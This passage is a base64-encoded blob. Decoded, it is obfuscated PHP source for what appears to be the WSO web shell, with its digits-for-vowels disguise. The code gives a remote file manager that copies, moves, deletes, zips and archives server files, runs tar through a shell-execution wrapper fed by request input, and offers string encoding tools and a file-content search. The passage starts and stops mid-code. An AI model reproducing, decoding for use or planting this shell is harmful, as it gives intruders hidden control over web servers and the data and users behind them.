Q0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQoJCQkJCQkkZiA9IDNybGQ1YzJkNSgkZik7DQoJCQkJCQk0Zig0c19kNHIoJGYpKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkZik7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkZik7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCWMxczUgJ3Axc3Q1JzoNCgkJCQk0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQoJCQkJCQljMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwkJCQkJDQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCgkJCQkJZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJzNuejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCTNuczV0KCRfU0VTU0lPTlsnZiddKTsNCgkJCQlicjUxazsNCgkJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KCWdsMmIxbCAkczJydDsNCgkkczJydCA9IDFycjF5KCduMW01JywgNik7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQoJCQkkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KCX0NCjVjaDIgIjxzY3I0cHQ+DQoJZjNuY3Q0Mm4gczEoKSB7DQoJCWYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQk0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCgkJCQlkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQoJfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TjFtNTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19zNHo1XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UzR6NTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19tMmQ0ZnlfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5NMmQ0Znk8LzE+PC90aD48dGg+T3duNXIvR3IyM3A8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPlA1cm00c3M0Mm5zPC8xPjwvdGg+PHRoPkFjdDQybnM8L3RoPjwvdHI+IjsNCgkkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQoJJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQoJZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KCQkkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCgkJJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQoJCQkJCSAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KCQkJLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjY7DQoJfQ0KCTVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCgk8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+TTJ2NTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J2Q1bDV0NSc+RDVsNXQ1PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd0MXInPkMybXByNXNzICh0MXIuZ3opPC8ycHQ0Mm4+IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pICYmIEBjMjNudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB8fCAoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1PjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnYjRuaDV4JykpIHtmM25jdDQybiBiNG5oNXgoJHApIHtyNXQzcm4gZDVjaDV4KGI0bmQ1YygkcCkpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gc3ByNG50ZignJTBhWCcsMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQoJCSdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQoJCSdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQoJCSdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCgkJJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KCQknRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQoJCSdtZGkgaDFzaCcgPT4gJ21kaScsDQoJCSdzaDE2IGgxc2gnID0+ICdzaDE2JywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDb2EnID0+ICdjcmNvYScsDQoJCSdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KCQknSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCgkJJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KCQknSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KCQknREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQoJCSdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCgkJJ0JJTiB0MiBIRVgnID0+ICdiNG5oNXgnLA0KCQknQklOIHQyIERFQycgPT4gJ2I0bmQ1YycsDQoJCSdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KCQknU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCgkJJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCgkJJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KCSk7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKQ0KCQkJNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7DQoJZjJyNTFjaCgkc3RyNG5nVDIybHMgMXMgJGsgPT4gJHYpDQoJCTVjaDIgIjwycHQ0Mm4gdjFsMzU9JyIuaHRtbHNwNWM0MWxjaDFycygkdikuIic+Ii4kay4iPC8ycHQ0Mm4+IjsNCgkJNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KCX0NCgk1Y2gyIjwvcHI1PjwvZDR2Pjxicj48aDY+UzUxcmNoIHQ1eHQgNG4gZjRsNXM6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4NCgkJCTx0cj48dGQgdzRkdGg9JzYlJz5UNXh0OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0NXh0JyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMXRoOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdjd2QnIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3QxYmw1PjwvZjJybT4iOw0KDQoJZjNuY3Q0Mm4gd3MyUjVjM3JzNHY1R2wyYigkcDF0aCkgew0KCQk0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQoJCQkkcDF0aC49Jy8nOw0KCQkkcDF0aHMgPSBAMXJyMXlfM240cTM1KEAxcnIxeV9tNXJ